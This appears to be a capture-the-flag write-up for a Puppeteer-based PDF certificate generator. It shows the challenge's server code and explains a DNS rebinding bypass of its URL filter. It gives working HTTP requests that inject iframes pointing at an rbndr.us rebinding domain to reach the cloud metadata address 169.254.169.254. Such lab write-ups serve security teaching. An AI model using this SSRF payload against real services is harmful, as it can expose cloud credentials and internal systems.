vl5M9Y7T4rmt1ctmrormud91QIAABCEDgRgAhw1SAAARaEHhnnWpfQImigE/B59XqV7ef+l21dTmaAR9ZPVn1BLrP7M0tYpZ+lBnSEqxDJVA1RcziUuwSs+W+Z7aKmcZUIkncYsb1za5f9jeFjmBeZ3AqDQ/dQAACEOibAEKm7/HBOgjMTEDBfMyxuDlYXK0RZXD0U4Hhb28/9d+quYuCWgW6H1pVoJu6hGxtl4SagmrZX6qE9nfk6PfNGkk9pGBL/xoTZZ5Sx+K8Yn/c0I58WAtS2aT2XhUdwVxy3Ldw5V4IQAAC1QkgZKojp0MIQGBFQIFbi+VMzwbhuvpga8B4sLZins57JsbFLtLyoq22efqS8FLWTH7kLm/WYAsRs/ghn2L3y+RmoPY0lhKmKp6Ty3LtiSrhC21CAAIQqE4AIVMdOR1CAAJ3BPRkfMuG970A1dN7Bf81RMyaqQTNshxuK2vZLh/kS+uieScRnVtsev1SZnB9Upvn9Dg2/Hvpch0EILALAgiZXQwzTkJgCAKeQG4IRzIb2VPw/85802b2Q4KPF7tHgbgC+F6K/NCemdRlZql+aEyVjRGTpUgwypZXRdkbNvynUuc+CEBgOgIImemGFIcgMDQBsjPfHj4FvNoPsyw/6mVwj7fgX5ka/f6oyHaJlotVHZd9tVo7m+TlVWNPkGxZmGhMxWNdxDG0zFIslcWhQAACEICAEUDIMA0gAIEeCZzMKGVoDj0aV8EmBbwSL8pg9Br83wfhyxIt2at6HcT2xQ9lm0qdpKc+JOqUTRGXR0X8Qkcwi6s2/FMgAAEIQMAIIGSYBhCAQM8EFFy+eurfs+2ptl3sxt6WYKX6Mtp9pTKCGtPQIQ0ImdFmC/ZCAALNCSBkmg8BBkAAAg4CCvJOk4saPbH/zOrZ6ghZGMewDXuJ5wQxr3Of2IXeQxq+cTTKEcwOSFwCAQjsgwBCZh/jjJcQmI2ANkb/yOrxVkf272LGaw8JAqavUVR2ZsvLQSVGlVnTuHqLjoQ+BC7+wD7v6cAEr29cBwEIQCA7AYRMdqQ0CAEINCCg4E+Bp8SNflc9NrDD26WC3ItVPaknKPVSa3Nd7N4Zja2yMMquXSNN9rwUk3fJRELlcghAYF4CCJl5xxbPIACBfycgQaOlaWuRI9GzbE6vxWk5sYrsSy3iefvRPDpY/cFt7mj+qC4HG3yx+j11aaDn9DTeJZN3XGkNAhAYmABCZuDBw3QIQGAzAQWmi6hRgKqyBKhL4ymCR4Gs6ldWr6uaGuBudpQGhiDg2ZvzZp4ok0eBAAQgsHsCCJndTwEAQAACEIBAJwQ8L4X93GzlpZidDBhmQAACbQkgZNryp3cIQAACEIDAQkCHWOiAgVflah/+EGQQgAAEIMB7ZJgDEIAABCAAgV4IHM0Qbfh/VbQ8kZdi9jJi2AEBCDQlQEamKX46hwAEIAABCPyegPZrfengwbtkHJC4BAIQmJ8AQmb+McZDCEAAAhAYg4AOlvg6YCoZmTHGEishAIEKBBAyFSDTBQQgAAEIQMBJIHQEM5v9nSC5DAIQmJ8AQmb+McZDCEAAAhAYh8DBTP3dE3OVjdELMXmJ6jjjiaUQgEBBAgiZgnBpGgIQgAAEIJBAQHtllJnRz6Vc7JefWb0mtMctEIAABKYkgJCZclhxCgIQgAAEJiBwMB9UlYkhCzPBgOICBCCQlwBCJi9PWoMABCAAAQhAAAIQgAAEKhBAyFSATBcQgAAEIAABCEAAAhCAQF4CCJm8PGkNAhCAAAQgAAEIQAACEKhAACFTATJdQAACEIAABCAAAQhAAAJ5CSBk8vKkNQhAAAIQgAAEIAABCECgAgGETAXIdAEBCEAAAhCAAAQgAAEI5CWAkMnLk9YgAAEIQAACEIAABCAAgQoEEDIVINMFBCAAAQhAAAIQgAAEIJCXAEImL09agwAEIAABCEAAAhCAAAQqEEDIVIBMFxCAAAQgAAEIQAACEIBAXgIImbw8aQ0CEIAABCAAAQhAAAIQqEDg/wHyJ/gwPcetGAAAAABJRU5ErkJggg==" alt="Authorized Signature" style="max-width: 200px;">
            </div>
        </body>
        </html>
    `
    const browser = await puppeteer.launch();
    const page = await browser.newPage();

    await page.setRequestInterception(true);
    page.on('request', async (request) => {
        let result = await isUrlSafe(request.url())
        console.log('result: ' + result)
        if (result) {
            if (result == '169.254.169.254') {
                request.respond({status: 200, contentType: 'text/plain', body: 'WIZER{H0w_D1d_YOU_D0_Th4ttttt???}'});
            } else {
                request.continue();
            }
        } else {
            request.respond({status: 200, contentType: 'text/plain', body: 'This request either failed, or was blocked.'});        
        }
    });

    try {
        await page.setContent(data, {timeout: 5000}); // Set the content of the page to the HTML string
        await page.pdf({ path: 'certificate.pdf', format: 'A4' }); // Generate a PDF from the page content
        await browser.close();
        res.download('certificate.pdf', 'certificate.pdf');
    } catch (error) {
        res.json(error)
    }
});

// Check if the URL is safe
async function isUrlSafe(url) {
    try {
        await axios.get(url, {httpAgent: ssrfFilter(url), httpsAgent: ssrfFilter(url)});
    } catch (error) {
        console.log('BLOCKED: ' + url)
        return false; // Return false if there's an error making the request
    }
    
    let domain = new URL(url).hostname;

    if (domain) {
        await new Promise(resolve => setTimeout(resolve, 1000));
        const addresses = await dns.promises.resolve4(domain);
        if (addresses) {
            console.log(addresses)
            return addresses[0];  
        }
    }
    return '0.0.0.0'
}

// Start the server
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

Flag conditions

In order to get the flag we need to make the bot request 169.254.169.254

Analysis

A rather simple application this time around, while this was supposed to be the hardest challenge I didn't find it very difficult you just need to be aware of a vulnerability which is a bit niche, but other than that that's the only thing.

Let's break it down. On the /generate endpoint we pass a name parameter which is directly injected into the html of the page which will a later on be opened by a headless browser(a bot)

The bot is going to print the page as a pdf and returns the result to us.

Before it does that though it intercepts all requests that the browser makes and ensures that their urls pass isUrlSafe, if they don't then they are simply blocked.

Vulnerability

The vulnerability here is DNS Rebinding learn more in my recent post for the HackTheBox challenge saturn

DNS Rebinding is a TOCTOU (Time Of Check, Time Of Use). This makes sense, because taking the example of our application a check request is firstly done and then the actual request. The vulnerability lies in the Ability of a dns to have a realy short TTL (Time to live). Because this allows an automated script to hot-swap the IP the DNS will resolve to, very quickly, in between the check and actual request.

A very good website to assist in such attacks is: https://lock.cmpxchg8b.com/rebinder.html

To use this page, enter two ip addresses you would like to switch between. The hostname generated will resolve randomly to one of the addresses specified with a very low ttl

It allows to enter to IP addresses (A and B) from which it will very quickly change the generated domain's a record between the two

dig 7f000001.c0a80001.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER 
7f000001.c0a80001.rbndr.us.     A       IN      1s      192.168.0.1     192.168.10.5:53
❯ dig 7f000001.c0a80001.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER 
7f000001.c0a80001.rbndr.us.     A       IN      30s     192.168.0.1     192.168.10.5:53
❯ dig 7f000001.c0a80001.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER 
7f000001.c0a80001.rbndr.us.     A       IN      0s      127.0.0.1       192.168.10.5:53
❯ dig 7f000001.c0a80001.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER 
7f000001.c0a80001.rbndr.us.     A       IN      1s      127.0.0.1       192.168.10.5:53
❯ dig 7f000001.c0a80001.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER 
7f000001.c0a80001.rbndr.us.     A       IN      0s      127.0.0.1       192.168.10.5:53

So in order to achieve our goal we need to pass a domain that will switch between a valid and resolvable ip and 169.254.169.254

To get a valid and resolvable server you can just dig websites that are not very big in traffic(because big sites have bot protections etc...), but just to save time in searching I used one of my own servers

Consider my server ip: 113.16.12.52 On the server we can host a working website using

$ python3 -m http.server 80

Thus if we now generate a domain with 113.16.12.52, 169.254.169.254 as A and B we get 71100c34.a9fea9fe.rbndr.us. Lets double check it.

❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      113.16.12.52    8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      113.16.12.52    8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      113.16.12.52    8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      113.16.12.52    8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      113.16.12.52    8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
^[[ANAME                        TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      113.16.12.52    8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      113.16.12.52    8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      169.254.169.254 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      169.254.169.254 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      169.254.169.254 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME                            TYPE    CLASS   TTL     ADDRESS         NAMESERVER
71100c34.a9fea9fe.rbndr.us.     A       IN      1s      113.16.12.52    8.8.8.8:53

Ok then let's chain everything together now

POST /generate HTTP/1.1
Host: 161.35.120.160:3000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 191

{"name":"<iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe>"}

Like this we create an iframe that will be rendered in the pdf and hope that we get the right timing and we get the flag in the iframe.

To improve our chances of getting the timing correct we can do something very simple. Let's just make more requests 🤣

POST /generate HTTP/1.1
Host: 161.35.120.160:3000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 1723

{"name":"<iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe>"}

By doing that we should hopefully now received a pdf with the flag inside along some other requests that may have failed.